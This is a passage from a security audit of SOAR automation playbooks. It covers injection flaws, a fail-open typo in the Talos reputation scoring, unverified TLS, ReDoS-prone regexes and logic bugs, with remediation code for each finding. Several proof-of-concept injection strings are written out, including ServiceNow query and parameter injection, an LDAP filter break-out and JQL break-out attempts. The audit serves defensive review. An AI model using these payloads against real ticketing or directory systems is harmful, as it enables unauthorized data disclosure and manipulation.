Description: These playbooks take an `internet_message_id`/`Message-ID` that originates from the headers of a reported/ingested e-mail and pass it to the connector's `run query` (`internet_message_id` / Graph `$filter internetMessageId`). The Search-and-Purge/Restore parents then delete or move *every* message the query matches across up to 500 mailboxes (Gmail) or the whole tenant (Graph). Because `Message-ID` is a fully attacker-chosen header, a crafted value

can (a) carry query metacharacters for the connector's filter (OData `$filter`/Gmail search - connector-dependent injection) and (b) be deliberately set to collide with a legitimate business message's id so the automation deletes it. The eviction/restore leaf playbooks themselves have no prompt; the gate lives only in the `Search_and_Purge` parents. **Untrusted-input reachability**: e-mail header -> artifact CEF `internet message id` -> child playbook -> `run query` -> delete/move. **Verdict: Conditionally exploitable** - injection depends on the connector's query parser; the "choose a colliding id to get a message purged" abuse works regardless, bounded by the parent's analyst prompt where present. **Proof of concept**: not separately executed - the eviction playbooks pass the id straight through as a structured `internet_message_id` parameter (`Message_Eviction.py:38-45`); the risk is the downstream delete fan-out plus connector-side filter parsing, which cannot be exercised offline without the connector. **Remediation**: validate the `Message-ID` against RFC 5322 msg-id syntax (`<local@domain>`, no spaces/control/`$`/`'`/`"`), keep the human prompt on every purge path (not only the automation parents), and scope the search to the reporting mailbox where possible:

```
import re
if not re.fullmatch(r'<[^<>@\s]+@[^<>@\s]+>', message_id or ''):
    phantom.error(f"Rejected Message-ID {message_id!r}"); return
```

Standards mapping.

CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection). **OWASP Top 10 2021:** A03:2021 Injection, A04:2021 Insecure Design. **MITRE ATT&CK:** T1114 Email Collection, T1070 Indicator Removal. **NIST SP 800-53r5:** SI-10 Information Input Validation, IR-4 Incident Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-08 — Cisco Talos Untrusted verdict never maps to Malicious (unstrusted typo) - fail-open scoring

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Exploitable as detection evasion (PoC executed).

Location. playbooks/CiscoTalosIntelligence_Identifier_Reputation_Analysis.py:382,457,521

```
382  talos_to_score_mapping = {"unknown": "Unknown", "trusted": "Safe", "favorable":
"Probably_Safe",
                               "neutral": "May_not_be_Safe", "questionable":
"Suspicious_or_Risky",
                               "unstrusted": "Malicious"}      # <-- should be "untrusted"
399  score = talos_to_score_mapping.get(threat_level.lower(), "")
```

Description: The key for the worst Talos verdict is misspelled `"unstrusted"`. Talos returns `Untrusted`, lower-cased to `untrusted`, which is not in the dict, so `.get(..., "")` returns an empty score and `score_table.get("", "")` leaves `score_id` empty. The most malicious reputation therefore produces *no* score. Any downstream decision keyed on this score (e.g. reputation-dispatch tagging, `score_id >= 0` routing in `Identifier_Reputation_Analysis_Dispatch.py:96`) treats a confirmed-bad indicator as unscored/benign - a fail-open that lets malicious URLs/domains/IPs through enrichment. **Untrusted-input reachability**: the verdict comes from Talos about an attacker-chosen indicator; the attacker benefits from the mis-scoring without needing to control the verdict string. **Verdict: Exploitable as a detection-evasion / fail-open logic flaw** (integrity of the verdict). **Proof of concept** (`poc_logic.py` case 3, real output) - `Threat_Level="Untrusted"`:

```
reputation: {"threat_level": "Untrusted", ..., "score": "", "score_id": ""}
```

Empty score for a maximally-malicious verdict. **Remediation**: fix the key (`"untrusted": "Malicious"`) and fail safe on unknown verdicts:

```
talos_to_score_mapping =
{"unknown":"Unknown","trusted":"Safe","favorable":"Probably_Safe",

"neutral":"May_not_be_Safe","questionable":"Suspicious_or_Risky","untrusted":"Malicious"}
score = talos_to_score_mapping.get(threat_level.lower(), "Suspicious_or_Risky")  # unknown
-> treat as risky, not blank
```

Standards mapping.

CWE: CWE-697 Incorrect Comparison; CWE-478; CWE-636 Not Failing Securely (Failing Open). **OWASP Top 10 2021:** A04:2021 Insecure Design. **MITRE ATT&CK:** T1562 Impair Defenses. **NIST SP 800-53r5:** SI-10 Information Input Validation, SI-4 System Monitoring. **NIST CSF 2.0:** DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities. **SANS Secure Coding Practice:** SOAR playbooks / General Coding Practices.

PB1-05 — ServiceNow sysparm_query (encoded query and URL parameter) injection via search_term

Severity: Medium (CVSS v3.1 base 5.0). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/ServiceNow_Related_Tickets_Search.py:82-108,341-385

```
347  query_formatted_string = phantom.format(container=container,
349
template="""sysparm_query=active=true^IR_OR_QUERY={0}^opened_at>javascript:gs.dateGenerate
({1})&sysparm_display_value=true \n\n""",
350      parameters=["space_delimiter_input:formatted_data",
"calculate_earliest_time:custom_function_result.data.datetime_string"])
```

Description: The search term is placed into a ServiceNow encoded query. The template mixes the encoded-query language (`^`, `^OR`, `^NQ`, `ORDERBY`) *and* URL parameters (`&sysparm_display_value=true`) in one string. Unlike the Jira playbook (which escapes, see PB1-05 note), there is no escaping of `^` or `&`, so a crafted term can append encoded-query operators or extra `sysparm_*` URL parameters (e.g. raise `sysparm_limit`, add `sysparm_fields` to pull `work_notes`/`comments`, or `^NQ` to start a new unrelated query returning records outside the intended 30-day/table scope). Impact is over-broad data retrieval from ServiceNow with the automation user's rights. **Untrusted-input reachability**: `search_term` is a user/host/entity value from the artifact. Source -> `space_delimiter_input` -> `run_ticket_query` -> `run query`. **Verdict: Conditionally exploitable** (read/disclosure; depends on connector URL-encoding - but the template deliberately injects URL params itself, so the connector is clearly expected to pass them through). **Proof of concept** (`poc_snow.py`, real output):

```
search_term =
"jdoe^NQactive=true^ORDERBYDESCsys_created_on&sysparm_limit=10000&sysparm_fields=number,de
scription,comments,work_notes"
query ->
"sysparm_query=active=true^IR_OR_QUERY=jdoe^NQactive=true^ORDERBYDESCsys_created_on&syspar
m_limit=10000&sysparm_fields=number,description,comments,work_notes\
n^opened_at>javascript:gs.dateGenerate('2026-09-
06','00:00:00')&sysparm_display_value=true"
```

The injected `^NQ...` and extra `sysparm_*` parameters are now in the query string. **Remediation**: strip/deny encoded-query and URL metacharacters from the term, and pass `sysparm_limit`/`sysparm_fields` only as separate structured parameters, never concatenated:

```
def snow_sanitize(t):
    return re.sub(r'[\^&=\n\r]', ' ', t or '')
# build the IR_OR_QUERY value only from sanitised terms; keep URL params out of the user-
controlled string
```

PB1-05 note (Jira, positive): `Jira_Related_Tickets_Search.py:448-467` escapes `\ \t \n \ r " '` before JQL and `:496,513` quotes the term. PoC `poc_jira.py` with break-out payloads (`x""") OR reporter = currentUser() OR text ~ "`) produced a fully-escaped `text ~ "\"...\""` clause - the injected `OR reporter = currentUser()` stayed inside the quoted literal. JQL handling here is sound; the ServiceNow sibling should adopt the same pattern.

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection); CWE-88 Improper Neutralization of Argument Delimiters in a Command (Argument Injection). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1213. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-04 — LDAP filter injection in AD LDAP Entity Attribute Lookup

Severity: Medium (CVSS v3.1 base 4.2). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/AD_LDAP_Entity_Attribute_Lookup.py:211-216,361-366,552

```
552  template = """%%\n(&(objectCategory=computer)(|(sAMAccountName={0}*)
(distinguishedName={0}*)(userPrincipalName={0}*)))\n%%"""
555  parameters = ["filtered-
data:playbook_inputs_filter:condition_2:playbook_input:device"]
```

Description: The device string and the group distinguished-names are interpolated into LDAP search filters with no RFC 4515 escaping. LDAP metacharacters `( ) * \ |` let an attacker alter the filter logic - broaden the match with extra `*`, inject parenthesised sub-clauses, or (with `)` plus a new clause) change what objects/attributes are returned. Impact is limited to enrichment reads (the connector's `get attributes`/`run query`), so this is information-exposure / result-manipulation rather than a destructive sink. **Untrusted-input reachability**: `device` is an artifact field; group DNs are second-order (returned by AD then re-queried). Source -> `phantom.format` -> `run query` filter. **Verdict: Conditionally exploitable** (read-only impact; depends on the AD LDAP connector not re-escaping). **Proof of concept** (`poc_ldap.py`, real output) - `device = "*)(objectCategory=*"` produced:

```
filter: "\n(&(objectCategory=computer)(|(sAMAccountName=*)(objectCategory=**)
(distinguishedName=*)(objectCategory=**)(userPrincipalName=*)(objectCategory=**)))\n"
```

The injected `)(objectCategory=` closes the per-attribute clause and adds predicates; the trailing `*` wildcards broaden every match. **Remediation**: escape per RFC 4515 before templating:

```
def ldap_escape(v):
    return (v or '').replace('\\','\\5c').replace('*','\\2a').replace('(','\\
28').replace(')','\\29').replace('\x00','\\00')
dev = ldap_escape(device_value)
filt = f"(&(objectCategory=computer)(|(sAMAccountName={dev}*)(distinguishedName={dev}*)
(userPrincipalName={dev}*)))"
```

Escaping the five special characters keeps the wildcard behaviour intended by the trailing literal `*` while making attacker `*`/`(`/`)` inert.

Standards mapping.

CWE: CWE-90 Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection); CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1087 Account Discovery. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-15 — Hostname interpolated into PowerShell file paths in internal_host_winrm_investigate

Severity: Low (CVSS v3.1 base 4.4). Exploitability: Conditionally exploitable.

Location. playbooks/internal_host_winrm_investigate.py:154,287,318

template `.\{0}-SOARFetch-*.csv`), `:287` (`format_zip`), `:318` (`format_file_removal`). **Description**: The hostname is substituted into PowerShell file paths in the data collection / zip / `Remove-Item .\{0}-SOARFetch*` scripts run via WinRM `run script`. Unlike PB2-03 these are static collection scripts, but `{0}` is still attacker hostname and could manipulate the written/removed filename pattern (`Remove-Item .\X-SOARFetch*` with a crafted `{0}` could widen the glob). Lower impact than the respond pack but same root cause (no quoting). **Remediation**: validate hostname against `[A-Za-z0-9._-]+` before use; single-quote the value in the PowerShell path.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7); CWE-73. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059.001 Command and Scripting Interpreter: PowerShell. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-11 — TLS certificate verification disabled on SOAR REST calls (verify=False)

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Not exploitable on loopback (defence-in-depth).

Location. playbooks/risk_notable_import_data.py:416; risk_notable_merge_events.py:421,620,971; risk_notable_protect_assets_and_users.py:445; risk_notable_review_indicators.py:91; risk_notable_verdict.py:35; start_investigation.py:35,185,188,197

`risk_notable_protect_assets_and_users.py:445`; `risk_notable_review_indicators.py:91`; `risk_notable_verdict.py:35`; `start_investigation.py:35,185,188,197`. **Code excerpt**: `phantom.requests.get(url, verify=False).json()`. **Description**: All internal SOAR REST calls (`build_phantom_rest_url(...)`) disable certificate validation. Although these target the local SOAR node, `verify=False` is a systemic anti-pattern: it suppresses MITM protection and, if the base URL is ever reconfigured to a remote/clustered endpoint, exposes session tokens and event data. `import_data` also parses the untrusted JSON returned over that unverified channel. **Untrusted-input reachability**: localhost; Verdict: **Not exploitable in the default single-node deployment (defence-in-depth only). Remediation**: rely on the platform's REST helper with verification, or pin the internal CA: `phantom.requests.get(url, verify="/opt/phantom/etc/cassl.pem")`. At minimum, centralise so the flag can be toggled for clustered deployments.

Standards mapping.

CWE: CWE-295 Improper Certificate Validation. **OWASP Top 10 2021:** A07:2021 Identification and Authentication Failures, A02:2021 Cryptographic Failures. **MITRE ATT&CK:** T1557 Adversary-in-the-Middle. **NIST SP 800-53r5:** SC-8 Transmission Confidentiality and Integrity. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** SOAR playbooks / Communication Security.

PB1-10 — Attacker-controlled values rendered unescaped into SOAR markdown notes

Severity: Low (CVSS v3.1 base 3.5). Exploitability: Conditionally exploitable (stored formatting/link injection).

Location. playbooks/CiscoTalosIntelligence_Identifier_Reputation_Analysis.py:259,295,331; CrowdStrike_OAuth_API_Identifier_Activity_Analysis.py:171,203; Splunk_Attack_Analyzer_Dynamic_Analysis.py:1074,1077,1117,1120; G_Suite_for_GMail_Message_Identifier_Activity_Analysis.py:116

Description: These blocks splice attacker-influenced strings (threat category text, URL, file name, e-mail subject/sender) into markdown that is written to container notes / workbook tasks with `phantom.format` + `phantom.add_note`/`workbook_task_update`. Markdown control characters (`|` breaks table columns, `` ` `` `, ]/) `break out of a code span or a` [text](url) `link, #/! start headings/images) are not escaped, so a crafted value can corrupt the analyst's note or inject a markdown link/image rendered in the SOAR UI (limited stored-content injection). SOAR renders markdown, not raw HTML, so this is formatting/UX injection rather than classic XSS, but a malicious` ](javascript:..)`-style link or an off-platform image beacon in` ![](..) `is plausible in` Splunk_Attack_Analyzer `where the URL itself is the attacker's. **Untrusted-input reachability**: indicator/e-mail fields ->` phantom.format `template -> note. **Verdict: Conditionally exploitable** (stored formatting/link injection; requires an analyst to view/click, and depends on the SOAR markdown renderer's link policy). **Remediation**: reuse the` markdown_escape `helper already present in` Jira_Related_Tickets_Search.py:224-237 `/` ServiceNow_Related_Tickets_Search.py `for every untrusted value placed in a note, and for` Splunk_Attack_Analyzer` render the URL/file name inside a fenced code span rather than a heading/image alt.

Standards mapping.

CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) (2024 CWE Top 25 #1); CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1566 Phishing. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Output Encoding.

PB2-12 — Allow-list bypass by self-tagging in aws_disable_user_accounts

Severity: Low (CVSS v3.1 base 3.5). Exploitability: Conditionally exploitable.

Location. playbooks/aws_disable_user_accounts.py:19-46,131-156

(`indicator_tag_4`). **Description**: The playbook checks `aws_username in custom_list:aws_inactive_user_allowlist` and, for allow-listed users, tags them `aws_inactive_user_allowlist`. The allow-list is a mutable custom list; the check is string-membership only. If an attacker can influence which usernames flow in (or the list content), the gate is bypassable, and conversely a legitimate admin *not* on the list is disabled after a single analyst `Yes`. The prompt is a good control; the allow-list is the weak part. **Untrusted-input reachability**:

`playbook_input:aws_username` ← `aws_find_inactive_users` → artifact `awsUserName`. Verdict: **Conditionally exploitable / defence-in-depth. Remediation**: treat the allow-list as authoritative protection for break-glass/root and service accounts, validate usernames against IAM before acting, and require the prompt to echo the full list of accounts being disabled (it does) plus their last-used date and group memberships so the analyst can catch an admin.

Standards mapping.

CWE: CWE-183; CWE-285 Improper Authorization. **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1531 Account Access Removal. **NIST SP 800-53r5:** AC-6 Least Privilege, AC-3 Access Enforcement. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.2 Privileged access rights. **SANS Secure Coding Practice:** SOAR playbooks / Access Control.

PB1-09 — CrowdStrike Dynamic Analysis URL scoring is dead code or crash-prone (wrong datapaths, zip order)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Correctness / fail-open (PoC executed).

Location. playbooks/CrowdStrike_OAuth_API_Dynamic_Analysis.py:136,204,211,587

Description: `normalized_url_detonation_output` collects from `filtered-data:...:crowdstrike_url_detonation:...`, but the detonation action is named `url_detonation`, so the datapaths resolve to nothing and the block silently produces empty scores. If the names were corrected, the subsequent `zip` passes `verdict_list` into the `_score` slot and `threat_score_list` into `_verdict`, then does `round(list(set(verdict_list))[0] / 10)` - dividing a verdict string by 10. The file-report `format` references `windows_sandbox_filter:condition_1:windows_file_detonation` which does not exist in this playbook. Net effect: URL detonation verdicts are not scored (fail-open to "no reputation") and the block can raise `TypeError` on real data. **Untrusted-input reachability**: verdicts describe an attacker-submitted URL; the bug degrades the verdict rather than being driven by a payload. **Verdict: Not exploitable as code-exec; it is a correctness/fail-open defect** that suppresses malicious URL scores. **Proof of concept** (`poc_logic.py` case 4, real output): with the real action name but the coded datapath, `scores = []` (nothing collected); feeding the coded `crowdstrike_url_detonation` datapath with a string verdict raised `TypeError: unsupported operand type(s) for /: 'str' and 'int'`. **Remediation**: use the action's real datapath (`url_detonation:...`), `zip` the lists in the order the loop unpacks them, coerce `threat_score` to numeric with a default, and drop the dead `windows_*` datapath. Mirror the (correct) file path's `score_table` handling.

Standards mapping.

CWE: CWE-670; CWE-682; CWE-390 Detection of Error Condition Without Action. **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities. **SANS Secure Coding Practice:** SOAR playbooks / Error Handling and Logging.

PB1-11 — Destructive leaf playbooks read raw unfiltered inputs, defeating the preceding filter

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Conditionally exploitable (scope widening).

Location. playbooks/Cisco_Umbrella_DNS_Denylisting.py:54; CrowdStrike_OAuth_API_Dynamic_Analysis.py:76; CrowdStrike_OAuth_API_File_Restore.py:296-308; PhishTank_URL_Reputation_Analysis.py:30

Description: Several leaf playbooks build their action parameters from the raw `playbook_input:*` / `artifact:*` datapath instead of the `filtered-data:...` output of the filter block that immediately precedes them. The per-item `if ... is not None` check is weaker than the filter's condition, so any routing/validation the filter was meant to enforce is bypassed. In `File_Restore` this is material: `run_admin_command_put` uploads/pushes every artifact `cef.fileName` in the container back to the endpoint, not just files that passed the `collected_file` + `playbook_input:file in cef.fileName` filter (`filter_file_artifacts_0:331-356`). **Untrusted-input reachability**: artifact fields -> raw datapath -> action. **Verdict: Conditionally exploitable** (scope-widening of an action; combines with PB1-03). **Remediation**: always collect action parameters from the same `filtered-data:<filter>:<condition>:...` path the filter produced, so the filter's guarantees hold at the sink.

Standards mapping.

CWE: CWE-807; CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-13 — Account dispatch report/tagging logic flaws (only first user tagged, duplicated rows, None crash)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Integrity of report/tagging (PoC executed).

Location. playbooks/Active_Directory_Disable_Account_Dispatch.py:100-115; Active_Directory_Enable_Account_Dispatch.py:100-116

```
104  output_observable_values = [(i or "") for i in filtered_output_0_..._values]
107  for observable_item in output_observable_values:
108      if observable_item['status'] == "success":          # "" has no ['status'] ->
TypeError on None/empty
111          normalized_..._value.append(user_name)
112          fmt_output += "{} | {} | {} | {} | \n".format(...)  # accumulates -> each row
repeats all prior rows
113          normalized_..._merge_report.append(fmt_output)
114  normalized_..._value = normalized_..._value[0]          # keeps only the FIRST user
```

Description: Three defects in one block: (1) a `None`/empty observable is coerced to `""` then indexed with `['status']`, raising `TypeError`; (2) `fmt_output` is appended to without reset, so the N-th report row contains rows 1..N concatenated (quadratic, corrupted table); (3) `observable_value = observable_value[0]` discards every user after the first, so when multiple accounts are disabled only the first is passed to `indicator_tag`/workbook - the others are silently untagged. For an IR dispatch that disables several accounts this means incomplete tagging and a misleading report. **Untrusted-input reachability**: observable values originate from the child playbooks acting on artifact users. **Verdict: Exploitable for integrity/availability of the report+tagging** (not a sink into a product). **Proof of concept** (`poc_logic.py` case 2, real output): `None` observable -> `TypeError string indices must be integers`; with two successful users `observable_value` = `"alice"` (second user dropped) and the second merge row = `"alice@corp | ... \nbob@corp | ... injected | row | ..."` (row 1 duplicated inside row 2, and the `message` field `"ok | injected | row |"` shows an unescaped `|` breaking the table - a PB1-10 instance). **Remediation**: skip falsy items, reset the row string per iteration, keep the value list:

```
rows, users = [], []
for item in output_observable_values:
    if isinstance(item, dict) and item.get('status') == "success":
        users.append(item['value'].split("@")[0])
        rows.append("{} | {} | {} | {} |".format(md_escape(item['value']),
md_escape(item['type']), md_escape(item['message']), item['status']))
normalized_value = users            # keep all, don't take [0]
normalized_merge_report = rows
```

Standards mapping.

CWE: CWE-670; CWE-682; CWE-248. **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / General Coding Practices.

PB2-13 — Hard-coded placeholder email recipient and sender in email_notification_for_malware

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Not exploitable (placeholder).

Location. playbooks/email_notification_for_malware.py:254-263

`email_notification_for_malware.json:8324-8348`. **Code excerpt**: `'to': "recipient@phantom.localhost"`, `'from': "automation@phantom.localhost"`. **Description**: The IR notification email ships with hardcoded placeholder addresses. If deployed unmodified, malware-confirmation emails go to a non-existent local mailbox (notifications silently lost) or, if `phantom.localhost` resolves externally, could leak event data. The addresses are also not derived from config, so recipient control is static (not attacker-controllable, which is the safe part). **Untrusted-input reachability**: not attacker-controlled; operational hygiene. Verdict: **Not exploitable; placeholder/test value shipped in content. Remediation**: source the recipient from a custom list / asset config and fail loudly if unset; do not ship routable placeholder addresses.

Standards mapping.

CWE: CWE-1188 Initialization of a Resource with an Insecure Default; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17). **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** CM-6 Configuration Settings. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.9 Configuration management. **SANS Secure Coding Practice:** SOAR playbooks / System Configuration.

PB2-14 — Unsanitised artifact data in notification email body

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Conditionally exploitable (content spoofing).

Location. playbooks/email_notification_for_malware.py:272-308

Description: The email body is assembled from `hunt_file_1`/`hunt_file_2` hostnames, hashes and vault IDs via `phantom.format`. The email is plaintext (`send email` SMTP), so classic HTML injection is limited, but attacker-chosen hostnames/filenames can inject newline/header-like content or misleading text into the analyst notification. Low impact. **Untrusted-input reachability**: CEF-derived. Verdict: **Conditionally exploitable (content spoofing only). Remediation**: strip CR/LF and control chars from interpolated values; if ever switched to HTML, HTML-encode.

Standards mapping.

CWE: CWE-93; CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS

Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Output Encoding.

PB1-12 — Unguarded dict/list/regex access on connector and artifact data (crash / DoS)

Severity: Low (CVSS v3.1 base 2.6). Exploitability: Exploitable for availability only (PoC executed).

Location. playbooks/AD_LDAP_Entity_Attribute_Lookup.py:90-91,120-129; Azure_AD_Graph_User_Attribute_Lookup.py:82; Attribute_Lookup_Dispatch.py:157-163; ServiceNow_Related_Tickets_Search.py:230; Splunk_Attack_Analyzer_Dynamic_Analysis.py:303,305; CrowdStrike_OAuth_API_Endpoint_Analysis.py:276,449,772; Jira_Related_Tickets_Search.py:262,281

Description: Many blocks index connector results and artifact CEF directly (`['key']`, `[0]`, `.group(0)`) with no `.get()`/length/None guard. Attacker-shaped or merely incomplete data (a UPN without `@`, an empty result list, a missing field, a None score during an in-progress sandbox phase) raises `KeyError`/`IndexError`/`TypeError` and aborts the playbook. For enrichment that is a reliability bug; for a response chain a mid-run abort can leave the system half-actioned (e.g. a session created but not deleted). **Untrusted-input reachability**: artifact/connector data -> unguarded access. **Verdict: Exploitable for availability only** (crash/DoS of the playbook run), not for code execution. **Proof of concept** (`poc_logic.py`, real output): case 1 `Attribute_Lookup_Dispatch.create_entity_artifact` -> `KeyError 'source'`; case 7 Azure UPN `svc_backup` (no `@`) -> `IndexError: list index out of range`; case 2 `None` observable -> `TypeError string indices must be integers`; case 4 string verdict -> `TypeError`. **Remediation**: use `.get()` with defaults, guard list access with `if seq:` / `len()`, and skip-with-log rather than index blindly. Example for the UPN split:

```
upn = user.get('userPrincipalName') or ''
domain = upn.split('@')[1] if '@' in upn else ''
```

Standards mapping.

CWE: CWE-248; CWE-754 Improper Check for Unusual or Exceptional Conditions; CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A04:2021 Insecure Design. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Error Handling and Logging.

PB1-14 — Shallow-copy bug mislabels interaction artifacts in Automated Email Investigation

Severity: Low (CVSS v3.1 base 2.6). Exploitability: Evidence integrity (PoC executed).

Location. playbooks/Splunk_Automated_Email_Investigation.py:334-362

```
335  artifact = {'label': url_interaction_label, 'name': 'Interaction with suspect
url', ...}
336  identifier_activity = url_act.pop('identifier_activity', [])
341  for item in identifier_activity:
342      sub_artifact = artifact.copy()          # shallow copy
343      sub_artifact['cef']['identifier_activity'] = item   # all copies share the SAME
cef dict
344      aggregate_data__json.append(sub_artifact)
```

Description: `artifact.copy()` is a shallow copy, so every `sub_artifact` shares one `cef` dict. Assigning `sub_artifact['cef']['identifier_activity'] = item` mutates that shared dict in place, so after the loop all appended artifacts show the *last* `item`. When several users interacted

with a suspect URL/file, the generated "Interaction with suspect url/file" artifacts all point to the same (last) user, losing the others - an evidence-integrity bug in a phishing investigation. **Untrusted-input reachability**: driven by investigation data about attacker IoCs. **Verdict: Exploitable for integrity of produced artifacts** (not a product sink). **Proof of concept** (`poc_logic.py` case 5, real output): two `identifier_activity` entries (`alice/WS01`, `bob/WS02`) produced two artifacts both with `identifier_activity -> {'user': 'bob', 'host': 'WS02'}`. **Remediation**: deep-copy per item, or build each cef fresh:

```
import copy
for item in identifier_activity:
    sub = copy.deepcopy(artifact)
    sub['cef']['identifier_activity'] = item
    aggregate_data__json.append(sub)
```

Standards mapping.

CWE: CWE-471; CWE-573. **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / General Coding Practices.

PB1-15 — Super-linear regex on endpoint-controlled RTR stdout and invalid escape sequences

Severity: Low (CVSS v3.1 base 2.6). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/CrowdStrike_OAuth_API_Endpoint_Analysis.py:280,312,453; Jira_Related_Tickets_Search.py:160,229

Description: The endpoint-analysis playbook parses RTR `ps`/`netstat` stdout line-by-line with regexes that mix greedy `.*?`, `\s+` and `\w+` on input a local attacker on the endpoint controls (process names, paths - which can contain many spaces). The `netstat` pattern `^(\w+)\s+(.*?)\s+(.*?)\s+(\w+)\s+(\d+)\s(.*?)\s(\d.*?)\s+$` and the orphan pattern `^\s+(.*?)\s+$` exhibit measurable super-linear growth on space-heavy lines. The patterns are also written as plain (non-raw) strings, so Python emits `SyntaxWarning: invalid escape sequence '\w'/'\s'` today and these become `SyntaxError` on a future Python - the file fails `ast.parse -W error` now. **Untrusted-input reachability**: a user/malware on the collected endpoint can emit process/socket rows with long runs of spaces; the SOAR worker parses them. **Verdict: Conditionally exploitable for worker CPU/time (ReDoS-style)**, bounded by stdout size the connector returns. **Proof of concept**: `poc_regex2.py`/`poc_regex3.py` (real output) show quadratic growth - netstat regex `n=100 -> 0.000s`, `200 -> 0.002s`, `400 -> 0.008s`, `800 -> 0.029s`; orphan regex `50 -> 0.000s`, `100 -> 0.002s`, `200 -> 0.013s`, `400 -> 0.087s`. The background run at `n=8000` did not finish within the 120 s limit (exit 124), confirming the trend. The `ps` start-time pattern never matches crafted input and returns fast (no backtracking there). `ast.parse(..., -W error::SyntaxWarning)` reports `SyntaxError: invalid escape sequence '\w'` for this file. **Remediation**: make the patterns raw strings, anchor and bound the quantifiers (`[^\s]+`, explicit field widths), or split on whitespace with `str.split(maxsplit=...)` instead of a single greedy regex; cap the number of stdout lines parsed.

Standards mapping.

CWE: CWE-1333 Inefficient Regular Expression Complexity (ReDoS); CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24); CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SI-10 Information Input Validation, SC-5 Denial-of-

Service Protection. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

